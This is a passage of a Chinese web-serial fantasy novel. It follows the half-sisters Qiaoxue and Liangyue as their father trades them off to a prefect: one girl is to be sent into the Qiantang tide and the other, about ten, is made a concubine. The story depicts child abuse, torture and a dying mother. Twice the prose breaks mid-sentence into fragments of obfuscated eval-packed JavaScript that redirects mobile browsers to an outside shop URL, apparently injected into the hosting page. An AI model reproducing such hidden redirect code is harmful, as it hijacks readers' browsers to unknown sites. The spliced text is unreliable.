“胡闹!”知府回过神来,“她才多大?你多大?每天心思不在读书上,脑子里就装着这些乱七八糟的东西?!” 于子夜心想,话倒是骂得不错;不过她既是巫觋之女,这知府骂儿子,估计也是怕脏了门楣——哪个官家要员会允许儿子纳一个巫觋之女为妾? 谁料那男孩丝毫不惧,反倒理直气壮地顶回去:“爹,您上次捉拿那女巫时不是说,女子如水,主阴主柔,这钱塘江的潮水汹涌不听话,摧塘毁田,便是有女子为祸作乱!你既收了那女巫,我便收了她女儿,我们一道压着这作乱的祸水!我看以后也不用澹台水都整那些大祭淫祀拜什么潮神了!” “你——”知府被他噎得说不出话。 厅中陷入一种诡异的沉默。于子夜想,这澹台水都当真窝囊又可怜,明明妻女都被这知府父子强占了去,可他若还想在这地头讨口饭吃,想必也不得不装死装傻,上赶着讨好这顶头保护伞。 “知府大人,”那水都果真压低声道:“……若小郎君当真看上了小女,也是她几世修来的福分呐。” “澹台水都,你——” “大人容禀。”水都语调不急不缓,“郎君看着也有十四五岁了罢?小的眼拙,敢问可是要行冠礼了?” “下月就冠礼。” “大人,小的说句不中听的话——小郎君这个年纪,知慕少艾,原是人之常情。若真看上了小女,先收进房中养着,等过两年时机合适了,再正经纳了,也不是不行。” 他说这话时语气平淡,仿佛在议价一桩买卖。 男孩顿时兴奋起来:“爹!那就这么定了,我下个月冠礼,正好下个月就叫她过门!好事成双!” 知府却沉吟了。 他没有立刻驳回,半晌才道:“澹台水都,本府有一事不明,想请教一二。” “大人请讲。” “那师婆不知是真疯,还是在与本府装疯卖傻,这些日子审讯时,言语间她反复提及,令爱身份特殊,可有说法?” “额……”水都额头上出了层薄汗:“大人,那师婆既已失智,她说的话当不得真。小女年幼,庶出卑贱,哪里又会有什么身份的说法?” “是么?”知府抬眉道:“那师婆口口声声称,语者有不逊于古时大巫的本事,令爱来日成了语者,必为她报仇——你可知何为‘语者’?” 澹台水都霎那间变了神色。 知府见他神情,挥退了儿子。水都走上近前,竟扑通一声跪了下来。 “水都这是做什么?” “大人明鉴!大人有所不知,这小女虽是小的所出,但那师婆既非我正妻,也非我妾室……小的家世代书香门第,祖上可是圣人门下七十二贤之一,虽已世代不仕功名,但也不至于沦落到干这档子腌臜事谋生!小的被冠上这巫觋、端公的骂名,全因当年在外游历时一时心软,好心办坏事,才被连累至此。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17509628|202942||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “哦?” “众人皆道,她是巫,小的自然就是觋,实在冤枉呐!当年小的年少无知,在西南边陲的密林中,救了一位奄奄一息、面黄肌瘦的女子。小的见她奇装异服,知是南境蛮夷,想必是因着瘴气迷失于密林中多日,才狼狈至此。小的虽心生畏怯,不想多管闲事,但毕竟是一条人命,只想着待那女子醒转、性命无虞后小的便走,不想那女子醒后,竟无端缠上了小的。说若是小的不答应给她一物,她便当场了结性命!” “何物?” “……一小女子而已。” 知府闻言大惊:“天下岂有这种事?闻所未闻!那师婆当真疯癫!” “大人,小的何尝不惊骇万端?转身欲跑,谁料那师婆竟告诉小的,她已给小的下了一种厉害无比的蛊咒,非使她诞下女儿不得解除。那蛊咒名为‘血魂芥’,一旦下咒,即便身死之后亦难逃此咒,会遭巫力追索、永世不得解脱!” 知府也被吓到了:“世间竟有这样厉害的蛊咒?” “小的起初也不敢全信,直到小的频频出现幻觉——观水如同活物,看火好似傩舞,听风犹如鬼哭,见石声若擂鼓。万物齐声喧哗,唯有人声喁喁不清。小的吓破了胆,实在不敢不从啊……” “说来也怪,自那师婆诞下小女后,小的那些幻觉便愈发少了,这些年只发作过一两次。” “小的与大人讲这些,恐污了大人的耳朵,只是……今年八月十八的‘语水大祭’,与往年都不同。往年便是照例安抚潮头,祈求涌潮莫要作乱、毁塘淹田。今年,却是要给潮水送活人呐!” “活人?”知府蹙眉:“此事怎地说?” “那师婆家族中有一谶断,世代以血脉相承,正是那用以给小的下蛊的‘魂芥’。承袭魂芥者,可担‘水都’;只是从此必得离绝尘缘,弃身入潮,进入神域,方能护佑人间水土……” “水都?”知府打断了他,疑道:“你不就是‘水都’么?” “大人,这‘水都’听着像咱们汉人的官名,看似倒文讹误,实则大相径庭!小的从前是个读书人,哪里懂巫觋的门门道道。小的也是后来才知,‘水都’原是那师婆巫觋家族的世职,——是个能与水晤言的巫职!” “那师婆年少时贪恋尘缘、难耐寂寞,逃了她合该就任的那场‘语水大祭’,在密林中逃窜多日迷了路,这才遇到了小的。自她跟了小的,整日净做些村巫社觋的勾当。做了娘之后,更是精神日减,无法主祭,想是妇人不祥。小的只好暂领‘水都’一职,等待下一位水都足年。” 与水晤言、语水大祭……于子夜被打通关窍——“水都”就是“水语者”? 只是想不到,这澹台水都竟是个盗用女巫家族头衔、彻头彻尾冒牌的巫觋!无血脉亦无本事,想来他这些年代女巫主祭,也不过是照本宣科、装神弄鬼,装装样子。 “下一位水都?”知府听出端倪来。 “大人猜的不错,正是小女。小女年方十岁,正好足年可担水都之职。” “荒唐!”知府拍案而起:“你方才为何不说!要送入潮水的女巫,如何能叫鹏儿纳了!若是得罪了涌潮,置本府于何地?置钱塘百姓于何地?” 嘴上一口一个淫祀、巫觋,真要犯了巫觋的禁忌,你还是挺怕的嘛。于子夜心想。 “大人息怒。大人,那能与水都晤言的水,随八月半大潮一年一至,平素不在钱塘城甚至不在人间,这才由着涌潮作乱无常——江水非人,大人可知那潮水是如何认人的?全凭一方玉印、一张裱纸、一口大钟!” 于子夜屏息凝神。 这口“大钟”,莫非就是…… “这‘送人’的仪式说简单也简单。语水大祭当日,在那裱纸之上写上名字,贴上闻天钟面,到时水都玉印一盖,大钟一鸣,潮水便晓得这新任水都是谁。待到当夜,将人送至钱塘江边,潮头便会来接往神域!” “那如何做得假!”知府大惊:“欺瞒钱塘潮水,若是涌潮因此作乱,本府岂非要遭天谴!” “大人,这水都的巫力,一半依这血脉相袭的魂芥,一半靠这钟鸣认人后直接赋予。钟鸣会唤起一道‘神路’,神力便直接由那神路注入水都巫体。如今那都水印在小的手中,裱纸上写谁的名字,你知我知,潮水不知。届时只要那闻天钟一鸣,都是尘埃落定!” 听到这里,于子夜确认了,那“巫力”就是“语芥”,“神路”大抵就是敲雪丹木观音一行人对话间提到、联结风露版图与芥球的“扶桑之路”。 而“闻天钟”,就是六和塔边上的那一口大钟。 可于子夜直觉总觉得哪里不对。 这钟鸣、钤印、裱纸,无一不是汉人的东西,可澹台水都又说女巫是南蛮夷族、给他下蛊,两边画风也太迥异了;若他话中有撒谎成分……这仪式有没有他故作姿态糊弄知府之处、甚至连那女子究竟是不是南巫,都未可知。 “……可若是一半依靠血脉,如何能随意找人替代?”知府缓了片刻,才反应过来。 “大人,这倒不难。小的育有两女,一为正妻所出,一为那师婆所出,恰巧同龄。嫡女虽无魂芥血脉,却到底是我澹台家的血脉,小的曾身中‘血魂芥’之蛊,嫡女也偶见异象,想必这蛊千真万确是以血脉相传的。那庶女如今撞了大运得小郎君垂青,小的将嫡女送入潮水便是!” 于子夜忖道,真会偷东西。女巫家世代相传的魂芥,怎么三言两语间就变成以你家的血脉相传了。 “这……既是令正所出,往送涌潮,岂非委屈了小娘子?”知府已态度松动。 “大人,其实,小的那嫡女胎里不足,自小身子羸弱,无论是行巫占,还是请方士道人卦占,结果都写得明白——那小娘子若是不早早出家、断离红尘,则必然短命夭折!” “竟有这事?” “大人恕罪,因着这事,小的……其实自始自终都打算,将嫡女往送潮水。左右都是出家,若能以水都之职在神域护佑一方水土,虽从此离了荣华富贵、断了俗世尘缘,与寻常尼姑作比,到底也是神凡之别!小娘子高兴还来不及!” “罢了,”知府明白事不关己,便懒得再管:“既如此,水都安排便是。” “多谢大人……小的还有一事。小的想着,以防万一,”澹台水都转向这边,睇着担架上的女孩儿,吞吐道:“……最好是让这巫女在语水大祭当日过门。” “这又是如何说?” “小的当年就猜想,那师婆在逃祭后逼迫小的,想是急着将自己那血魂芥传与小女,好彻底摆脱担任水都的宿命;历来水都十岁便足年,年龄尚幼,想是妇人不祥,唯有处子之身才可担水都之职。小的就想,那边往江口送人,这边又已破了身子,双管齐下,便是万无一失。” 知府沉吟片刻,道:“也好。祭钱江涌潮,本就是为钱塘福祉,若能因此潮平浪静,也是了却本府心头大事。” 知府睇着澹台水都:“只是‘语水’大祭一词,语焉不详、太像淫祀,此后祭典便改叫‘潮神’大祭。” “潮神……”澹台水都跪伏在地:“大人妙思,小的五体投地。” “今年潮祭后,你家便不用再管这事了,本府自会上表朝廷,此后每年八月十八大潮日由公家主祭。这水都的差事,从此后,你便不必再做了。那闻天钟,此后也不必由你来敲了。” 于子夜听出,知府这是要将钱江主祭之职彻底从巫觋手中架走,将潮祭纳入官家祭祀的意思。 这样一来,只要钱塘江潮平浪静,无论是因着修建海塘,还是主持祭祀,便都能算作他知府任上治潮的功绩。 “全凭大人做主。” “很好。你既非巫觋世家,白担了这骂名数十年,想要洗清门楣,令爱又是为钱塘水土献身,那本府便行文旌表门闾,彰其孝德,也好彻底洗脱你与那巫妾的干系,光复你澹台氏的门楣。” 水都重重磕了三个响头。 “草民代小女澹台氏敲雪,叩谢大人大恩!” 11. 芸窗里双姝解谜语 枯灯下巫母托遗言 ……原来这女孩竟不是澹台敲雪,而是她同父异母的庶出妹妹! 长钟说,魂芥跟随人的年岁记忆生长,她跟随敲雪的魂芥来到这段记忆中,却不是在她本人、而是在她庶妹的身体中,说明这个庶妹对敲雪来说很重要。 于子夜正想着,眼前一黑又是一亮,背上皮开肉绽的灼痛,像是烙铁压在背上;双手与大腿却是另一种麻痛,膝盖之下则全无感觉。 身旁隐隐有个孩童在哭。 “母亲,女儿求您了……呜呜……放了谅月吧。” 谅月……是这具身体主人的名字吗? 于子夜抬不起头。周身如火煎蚁噬,却被封在喉咙里宣泄不得。 那女孩跪在一旁哭得着实凄惨,倒像是在替她哭。 “母亲!若是谅月冻坏了腿……也没办法向知府家的郎君交代!母亲……” “夫人,再冻久些,这小蹄子膝盖以下确实不能要咯。”旁边一个婢子做了个屠夫砍肉的手势。 “行了,将那炭盆撤了。”一个女声说。 于子夜脸贴着地,近前一双金线坠玉的绣花鞋,被热浪融得在眼前乱晃。背上一轻,耳旁哐当一声,竟是个偌大的炭盆从背上被卸了下来,砸在雪地,炭星四溅。 炭盆撤去了,躯干上下仍是撕心裂肺的烧灼感,许是着烈痛一冲,肋骨被踢断的剧痛倒已不大感觉得出。 于子夜这才发现,膝盖之下竟全无感觉,原是被埋在雪地里。 什么变态会想到在这种三九寒冬用炭盆动私刑? ……也不知这名叫“谅月”的庶女究竟是造了什么孽,在她身体里也太倒霉了。 “看在敲雪替你求情的份上,暂且放你一马,”那绣花鞋的主人冷哼一声:“劝你老实些。过了门,你便是成日与那生了蛆的师婆待在一处,也轮不着我管。但既还未过门,你便还是澹台家的人,若是再妄想溜进知府宅邸见那脏婆娘,下次放背上的,便不只是炭盆了。” 想必这位便是那冒牌巫觋的正妻了。这些人联手欺负一个小女孩,真是丧尽天良。 “谅月……”敲雪原本跪着,见母亲放过了庶妹,立刻扑上来扶住她:“谅月,你没事吧?” 于子夜只觉得浑身灼痛,皮开肉绽尚不足形容,但身体的主人谅月竟咬死槽牙挣出力气,一把推开了敲雪。 “滚。”她低吼。 敲雪毫无防备地被推倒在地,愣了一秒,委屈地抽泣起来。 正妻冷哼:“你可看到了?你还为她求情,这就是同情她的下场。见其母知其女,师婆之女,能是什么好东西?敲雪,你自由心地良善,可澹台谅月,她就是条捂不暖的蛇,白眼的狼,你要救她,她转头一口先咬你。” “不是的,母亲,”敲雪满眼含泪:“不是谅月的错!孝养之心人皆有之,若被人强占的是你,我也会想办法……” “住口!”正妻喝道:“强占?哪有这档子事!何处听来的?不得胡言!那师婆行淫祀为祸,以造妖惑众论处,知府老爷将她捉拿归案,是为民除害。你如今也是得了官府旌表的孝女了,成日与她说话像什么样子!” “一个师婆的丫头,也配给知府家的小郎君作妾?不过是老爷抬举她罢了。论起来,她连我身边的通房丫头都不如——至少我的人是从小调教出来的,知道规矩。” 这对公婆靠人家做巫术生意发家,如今靠着卖了女巫母女两个给知府,得了旌表洗清了门楣,倒是着急切割。 于子夜心中听得恨不能上去给她一耳光。 “母亲……” 敲雪还想求情,谁知她母亲却扭过头去:“你们几个,将大姐带下去,禁闭思过,未经我允许任何人不准探视。” 于子夜想,既然正妻主动提起官府旌表,她应是知道丈夫要将敲雪送去做‘水都’一事的。这做娘的也是狠,为着门楣和面子,连自己的女儿也舍得出去。 正想着,眼前画面一转,是个秀气精致的小花园。 夜色里,连廊水榭墨黑一片,只有房中点了灯,隔着纸窗,溽暑中晕开黄澄澄的一抔。 谅月贴着墙根,猫腰踮脚在蛐蛐鸣叫的草丛中行走。 剧烈的灼烧感已然淡去,只是背部皮肤仿佛牛皮被绷紧张在鼓上一样,像这样弓着身子每走一步,衣料的摩擦都在血肉模糊的旧伤上刮出新鲜的疼痛。 于子夜感觉到背上的衣料湿黏黏的,夏末夜晚的溽热里,不像汗液,倒像是脓水。 她方才就发现了,这记忆是一段段不连续的片段,想必如长钟所言,她回到“彼钱塘”的过程中蛮力撕开扶桑叶,致使魂芥残损,魂芥生长过程相应的记忆也不甚完整。 谅月蹲到墙根,轻轻猫叫三声,碰开了虚掩的门。 一阵风过,吹灭了灯。屋里的人低声惊叫,接着是一阵轻轻的脚步声挪到门边,颤声问:“……是谁?” 一双绣花鞋迈出了门槛。来人探出了身子,正是那天为她求情的异母嫡姐敲雪。 于子夜注意到,谅月是未缠的天足,而敲雪的足则比她小很多,缠成了小粽子尖尖的模样。 “谅月?!快进来!”敲雪极力压着嗓音,却难掩惊喜。 门一阖,她忙凑上前拢住谅月的衣袖:“你怎么来了?伤怎么样了!” 谅月将袖子一抽,偏头道:“早好了。” “那便好。”敲雪抚了抚心口,长舒一口气:“臭妮儿,你来便来,吓我做什么?你明知我胆小,最怕鬼神之说。” “鬼神有何可怕的?”谅月自顾自走到桌旁坐下。 “你竟不害怕?” “世间本无鬼神,皆是人生造出来的。人能平白造出些这么可怖可畏的故事来,怕人才对。”谅月说。 敲雪给她倒茶:“那你倒是说说,人为何要生造鬼神?” “有神之前,人想与天地万物说话,便直接去与天地万物说话,风雷点火不归神管,山河日月无需神造。天漏个孔,便有石头去补,地裂条缝,便有江河来填,神在何处?又何须神在?左不过是造出些神来崇拜,再将万物造化的功绩安在神头上罢了。” 她这说的倒有点朴素唯物论的意思。于子夜心想。用父亲做生意的那些话头对照,没有鬼神横在中间、与天地万物隔了一道的人类,就像没有中间商赚差价的厂家直销、没有小领导传话的上下级关系。 “那鬼呢?”敲雪问。 “鬼?鬼自然是用来吓你这样的小胆鬼的。”谅月抖了个冷机灵。“神”之说是受到母亲那些口耳相传的故事影响,但她自己也说不清为什么人要造出“鬼”之说。 神用来威慑,鬼用来恫吓。于子夜在心里默默替她编了个答案。 神之说让人觉得自己无能,从而失能;鬼之说让人觉得自己脆弱,从而惧怕。人就这样被一撇一捺困住了。 困在天地之间,忧惧和规矩之间,从此再也不得脱身。 “且不说这个。看我带了什么?”谅月转移话题,从袖袋中掏出几枚都被压变形了的小莲花灯。 “哇!”敲雪十分兴奋,两弯细长的远山眉在脂玉般的面孔上漾开:“莲花灯!对了,今儿是乞巧!我可险些忘了。难为你记着,还带这小玩意儿来看我!多谢你!” “路过街市,看到有人放花灯猜谜,随手捞上来,猜中了,赢了几只。”谅月说得随意,像是随手拈了几片叶子。 “我见着几条有趣的,带回来给你也玩玩。”她又翻出几条字纸。 敲雪“诶”了一声,疑道:“这写了谜语的字条,不都是嵌在莲花灯芯的吗,你怎么……” 她旋即了然,啐道:“你呀你!” “去岁乞巧,你带着我守在上游,将河中刚放下的花灯一一捞起来看过,猜得中便捞上来带走,猜不中的便放回去……可别告诉我你忘了后面发生了什么!” 谅月道:“你给我买了烤红薯。” 敲雪伸指刮了一下她的鼻子:“臭妮子,就记得吃了!……后来我们猜中太多,衣兜都装不下了,你说干脆只将字条摘下来,还把花灯放回河里去。结果可好!围观大伙见半天也没一个猜中回去兑奖的,都道那卖花灯的老板黑心,辇着铺子里伙计撑着小舟去河里一捞,谁料除了那些晦涩难懂、语焉不详的,全是空壳莲花!那老板吃了哑巴亏,愣是给大伙把钱全退了!你这丫头,如今长了年岁,怎的还如此不稳重!” “要稳重何用?” 敲雪一愣,只听谅月接着说: “早些稳重,也是早些被卖了给那知府的傻儿子做妾!” 于子夜心中叹了口气。 这谅月再要强,到底还是喜怒形于色的孩子心性。 敲雪未曾料想触到了她的伤心事,立刻不自在起来:“我母亲那日……实在抱歉,我……” “不必说了,”谅月展开两张字谜:“猜谜吧。” “嗯,好。”敲雪碾开一张谜纸,念道:“有人有口不开,打一字。” “这简单,囚。”她说。 谅月道:“未必,我还有一解。”她用食指在桌上划了几笔。 敲雪捉住她的手,笑道:“谅月,你这可是牵强附会了!虽说‘石’字中也有口,但一横一撇,如何作‘人’?” 谅月道:“一横一撇斜过来看,不就是一撇一捺的‘人’了!” 敲雪道:“这位小娘子,偏要死犟!就算字形可解,你要如何解字义?石头如何是‘人’?又如何‘有口不开’?‘囚’倒从字形字义上来讲都说得通。” 谅月辩道:“世间万物有灵,如何只有人才能‘有口不开’?你若说只有人能讲话,我还认了。难道一言不发、缄默不语,也唯独人能做到?” 敲雪听出她话中有些巫俗的说法,不欲与她争辩,牵过她的手晃了晃,柔声道:“你说得有理。字谜并非只有一解,咱们俩解得都不错。” 谅月哼了一声,展开第二张。 “十月十日雨。” 谅月读完便道:“这个太简单了,换一个。”她要将字条团起来扔掉,被敲雪拦住。 “如何简单了?”敲雪道:“我看是有人自作聪明,想得简单了。我倒还得再想想呢。” 谅月正要讲话,灯花爆了一下,静夜里把敲雪吓了一跳。 谅月嗤道:“再不答,灯花也看不下去了。” “可是‘露’?”敲雪解道:“十月十日是为‘朝’,朝雨是为‘露’。” “是你想复杂了,”谅月道:“雨解作‘水’,可不就是‘潮’?” 敲雪屈起指节弹她鼻尖:“我就知你要这样解。要说你这丫头当真古怪!方才一撇一捺都非要拗过来看,如今‘雨’却草草简化作‘水’。不对!倘若谜底真是‘潮’,出题人就该将谜面写作‘十月十日水’了!” “雨可不就是‘水’?江河溪流为地上水,雨雪霜雹为天上水,潮汐波浪为海上水,世间之水循环往复,却皆是水罢了。”谅月道。 “诡辩。”敲雪笑叹道:“说来也都怪你我,去岁将那原先的老板坑害惨了。今年这新来的花灯老板只会做灯不会作谜,怎么出的谜个个都有歧义!算了,咱们换下一个罢!” 又捻开一张,敲雪道:“终于不是字谜了!” 两人一起凑上去读。 “近之怯也远之勇,爱之深也悲之怯,恨不能也救不得——打一物。” 敲雪皱着眉头犯了难:“这倒比前两个有意思,却也实在晦涩。要打一物,我一时真想不出来。” 门扉突然一声轻响,两人登时不敢动了,警惕地望向门口。敲雪与谅月对了个眼神,提着声问:“谁?!” 无人应答。 谅月抄起案上的砚台便朝门口走去,敲雪阻拦不及,一推门,便见一道青色人影缩在墙角。 那丫鬟颤声道:“娘子饶命,娘子饶命!奴婢不是故意偷听的!” “小惠?”敲雪望向谅月:“这不是你母亲的丫头吗?” “娘子有所不知,我家谅月小娘子下月便要……便要去州府侍奉了。知府老爷说小娘子年纪小,怕礼数有亏,于伺候人不甚精通,先遣着奴婢回来为娘子讲解一二。” “下个月……”敲雪低头望着脚尖:“竟这么快。” 她的愧怍与难言于子夜都看在眼里,心说是啊,你下个月也要被你那杀千刀的爹安排一个完全不属于你的命运、一辈子当个尼姑了,但再怎么说,也总比你这可怜的庶妹好。 “你今夜不是要同那州府的黄马倌逛集市去么?”谅月问小惠。 “小娘子,这……”小惠瞟了一眼敲雪,支支吾吾。 敲雪知她有话不好当面讲,拍了拍谅月的肩:“你先同她去吧,我也要歇了。悄摸些走,别被人看到。” 谅月点头,走了几步,又转身道:“最后那谜是我出的。” 敲雪倚门,松了松云鬓笑道:“那我定要好生猜一猜,你且等着。快去罢。” 谅月随小惠疾步穿出角门,走过一道狭窄的小巷,又拐了几个弯。 钱塘城东西窄、南北长,街巷本就逼仄。入夜后,两侧高墙夹峙,天光只余一线。今夜无月,浓云隐了星光,更生黢黑压迫之感。 于子夜发觉谅月在黑暗中几乎不能视物,几次都险些撞墙崴脚,却只是加快脚步一声不吭地跟上小惠。 竟是个夜盲。 小惠在一条巷子的尽头停了下来,于子夜看不清檐下面孔。那人很高,同小惠点了头。 小惠对谅月道:“小娘子,衣物已备妥了,我若再不走,黄马倌要起疑心了。您打三更前务必出府,别撞上换班的府兵。” 小惠走远了,谅月才开口,语气是于子夜从未听过的焦急:“赵叔,为何今夜突然……是母亲她……” 被唤作“赵叔”的汉子从檐下走出来,神情肃穆:“谅月,你……要做好准备。我只是听府中的人说,她已绝食五日、滴水未沾,恐怕……” 谅月眼眶一热,可饶是在黑暗中也硬憋了回去,道:“我们现在就走!” “今夜过节,角门是封的,我这样的雇役都进不去,你虽有黄马倌的腰牌,也须得走正门。守卫我打点过了,只是这府里头要靠你自己。府里地方大,你装个新来的问路倒是不打紧,只怕是遇上认识你的人……” “不妨事,赵叔,我能找到。”谅月语气坚定。 “你没有走过正门,我怕……” “……我可以。赵叔,带我去罢。” 今夜过节,府治的朱漆大门开了一线,门环上垂着的铜锁在夜风里微微晃动。门前两尊石兽的轮廓被月光削得极锐,影子斜投而下,像两把插进地里的刀。 回廊的阴影一层叠着一层,廊柱与廊柱之间,黑暗稠得能淌下来。每每有脚步声经过,于子夜都不由替谅月捏一把汗。 可她竟然走得十分顺畅。扮作小惠用黄马倌的腰牌入府后,她熟练地绕过正厅,穿过天井,又走庭院绕过三两厢房,很快就到了官邸深处。 这府邸极大,她究竟是怎么…… 于子夜倒吸一口凉气。 难道说,当街被小厮踢伤那日,她强忍着剧痛也不昏过去,竟是在默默记下从正门入府的路线?! 一个十岁上下的女孩? 她从那时就已经在想着日后如何潜入府中了么? 为了找母亲,竟可以做到这种地步。想到自己多年来连母亲的联系方式也没有,还不敢找父亲要,于子夜心中一阵自惭形秽的涩意。 正想着,谅月突然在一扇虚掩的木门前停下了脚步。 屋内光线昏暗,只点了一豆油灯。知府这种富贵人家,夜晚必然是点白蜡或桕烛照明的,看光线就能分辨出不同。 谅月侧耳在门缝边听了许久,终于颤着声,轻唤道:“……娘?” 屋内无人应答,谅月推门而入。 一阵恶臭扑鼻而来,于子夜从未闻过如此令人作呕的味道——腐臭中杂着发腥的酸,又混着排泄物的气息,比她那日翻垃圾桶找观音时难闻千百倍。 谅月不为所动,直直朝那散发腐臭味道的源头走去。 床褥凌乱,靠墙一角蜷着条鲜蓝色的巾子。巾子露了一小半在外头,另一大半掖在被褥中。 似乎终于听到有人走近,那巾子下意识往墙角一缩,却已是退无可退。巾子蜷得更紧,不受控地剧烈颤抖起来。 “娘……是我,我是谅月。娘——”谅月又大声些说了一遍,掀开了褥子。 那条巾子没了庇护,登时暴露在空气中。裹着巾子的人终于翻了个身。 这一翻, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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谁知这一托一拉,女巫竟如同个破竹架子一样,锁骨向内一拗,双臂折出一个极其诡异的角度,生生从谅月手臂中滑脱了出去。 “……娘走不了了。”女巫每说一个字,胸口便起伏如要破的风箱:“你的事……那披着人皮的活畜与我说了……” 女巫突然睁开了眼睛。蛆虫和泪水一起爬行出来,流了满脸。 “……谅月,逃吧。” “我不!娘,女儿和你一起走!娘死我也死!娘活我也活!女儿绝对不离开娘!” “咳咳……真是,这么个敢想敢做,从小就胆气十足的好孩子,”女巫拂过谅月的面庞,温柔而虚弱地叹道:“……哭什么呀。” 谅月再也憋不住,眼泪一滴一滴砸在地板上。 “乖囡囡……你听着,离开钱塘,逃得远远的,做买卖,事农桑,都成……到一个没有人知道你是我的女儿的地方,别再沾巫觋之术了。忘了关于‘水都’的一切。你长得这样好,以后长开了,便像姥姥们一样,把脸划花,找个山里躲起来…… 谅月忍着哭腔打断她:“不让我做这个做那个,不让我学关于‘语者’的一切,不让我回去找姥姥们,如今又要我逃!若我此生只能划花了脸找座山躲起来,你为什么要把我生出来!” “对不起……” “我不要听这个!你跟我走!” “咳咳、人活一世,最重要的是要有一副康健的身子,自个儿活得快乐自在……咳咳咳……” “我不要听这些!娘你等着,我现在就去找赵叔,我让他搬你出去!赵大山他一定会帮你的!” “大山……” 女巫的眼睛里短暂地亮起光火,她剧烈地咳了两声,握住谅月的手:“囡囡,你要替娘对赵叔说一句,娘这辈子对不住他。还有……替娘谢谢他。” “不!你自己去和他说!”谅月拼命摇头。 “咳……还有——那‘语者’的血脉,到你这儿,便自此断了吧……关于娘讲过的那些故事,还有娘给你的那本书,也都忘了吧。” 谅月一愣:“……可你不就是为了延续语者血脉才变成这样的?!” “那些都不重要了。”女巫摇了摇头。 “‘语者’也好,‘水都’也罢,咳咳……娘和你讲了那么多故事,一直没告诉你……娘十岁那年逃大祭,不是爱风流,也不是不肯侍潮,是怕死。” 谅月已说不出话了。 “选定了‘水都’,送到风露版图,并非直接就成了‘语者’。传说上古时候,钱塘那位万里挑一的大能,通过层层试炼,在风露版图活下来,神仙一样不老不死;可其余与她同去风露版图的,都身死魂灭,永世不能再投胎……咳咳咳,娘,姥姥们,姥姥们的姥姥们,但凡记事的,就没一个记得,有哪位水都被送到风露版图后还能活着回来的。” 什么!!? 于子夜大惊——女巫连谅月都不曾告诉,想必澹台水都更是不知道这一点。 若是如此……连以血脉承袭的魂芥都几乎是去送死,那敲雪这本身就没有巫系血脉的被送去,只靠着裱纸和神路赋予的一半语芥,岂不是完全去送死!? 那澹台水都还以为自己在救嫡女,谁知反而要害死了她!这世间的事,弄巧成拙,阴差阳错,当真是荒唐无比。 ……谅月和敲雪关系这么好,她会提前告诉敲雪、姐妹俩一起逃离这被安排的可怖命运吧! 于子夜在心中默念,谅月一定会吧,一定要会啊! 对。是的。谅月最后定然是这么做了——否则她不会在‘此钱塘’遇到澹台敲雪。 谅月沉默半晌,猛地擦干眼泪,道:“所以,你将我生下来,是因为害怕。” 女巫突然自己坐了起来:“是。起初,确实是因为害怕。娘自己逃了,可水都之位空缺,娘想尽快把你生出来,再送回姥姥们那里。你继承了娘的血魂芥,一满十岁,便可以替娘完成未完成的大祭。但渐渐的,就不是那样了。 “娘更害怕的是,你会像娘一样害怕……怕你会像娘一样逃走,一样为了抵罪、为了延续血魂芥,而在恐惧中生下女儿,让她承担我们未曾完成的宿命。 “……所以啊,传说的事,便留给传说吧……谅月,娘这辈子就到这儿了,娘只要你答应娘两件事。” 女巫浑浊的双眼散发出美丽而奇异的光晕。 于子夜盯着那双眼,竟同谅月一道下意识地点点头。 “第一件……咳咳咳……你这辈子,不要生儿育女,不要留下血脉。不要像娘一样……没做个好母亲……娘把你生出来,是娘对不起你……” “我答应你,娘,女儿答应你。不嫁人,不生孩儿。女儿一辈子陪在娘身边。”谅月点头如捣蒜。 “咳咳、咳……好……” 女巫的声音弱了下来,像流沙一样,要被夜风吹散了。 “第二件……谅月……无论如何,定要好好地……活。不要……哭……” 泪滴顺着女巫蜡黄却温柔的眉眼滑落。 “娘……”谅月憋住了泪,竭尽所能地轻声回应母亲:“……我会永远和你在一起。” 那是澹台谅月的人生中,最后一次流出泪水。 鲜蓝色的巾子托在手中,比那日压在背上的炭盆还重。 “这是……” “母亲,她走了。” 赵大山没有接过巾子,只是低头。他的手盖住了眉弓,昏灯照下来黑了一片,看不清神情。 谅月望着他脚下被落下的水珠溅湿的石板。 “赵叔,”她声音发抖,却冷静至极,像新上的弓弦初次被拉放一样,涩而紧地颤着,“能帮我母亲做最后一件事么。” 一阵铺天盖地的耳鸣。于子夜只觉得嘴巴开开阖阖,却一个字也听不清,只有诸如“动作要快”、“州府中地形”的只言片语略过耳际。 赵大山的面色一分分冷下来。 他听完后,静了半晌。似乎想说什么,终还是憋了回去,重重叹了口气,道:“你当真要这么做?” 谅月点头的瞬间,于子夜一阵天旋地转,再睁眼,已是一穹赤色铺天盖地遮在眼前。 她闻到了浓郁的脂粉香气。 盖头下,是一双红色绣凤的布鞋,还有…… 于子夜倒吸一口凉气—— 布鞋上方一掌远处,小腿肚的下方,绑着一柄寒光闪烁的匕首。 12. 瞒天过海喜轿府去 偷天换日钱江潮来 暮色渐垂,尚未到掌灯时候。 谅月放下裙摆,衣料垂到脚踝,完全掩住了匕首。 她走到门边。喜轿旁,两个听上去不到十岁的小丫头在聊天。 一个低声道:“……那不就是出家么?” “……可不就是?这敲了闻天钟,尘世间的姻缘,就此断了。澹台水都当真狠得下这个心。” “哎,不都说敲雪小娘子天生就是尼姑命。若不出家,便要早死!能赌一线生机,出家总比死了好。可惜了,那小娘子我见过,端端是生得粉雕玉琢的一个闺女。” “谁让你们在这里乱嚼舌根?”谅月步出门槛,大声喝道。 两个丫头都是州府新来的,被打发过来迎这没人愿意碰的师婆之女进门,竟也不甚清楚谅月在澹台府里的状况,听她说话架子只道是个厉害的,忙不迭吓得低头缩颈。 “小娘子,还未到吉时,你怎么出来了?!”小惠听到动静,忙从前厅跑过来,一看两个丫头的样子就全明白了:“你们两个枉口拔舌的小泼妇,还不快滚!” 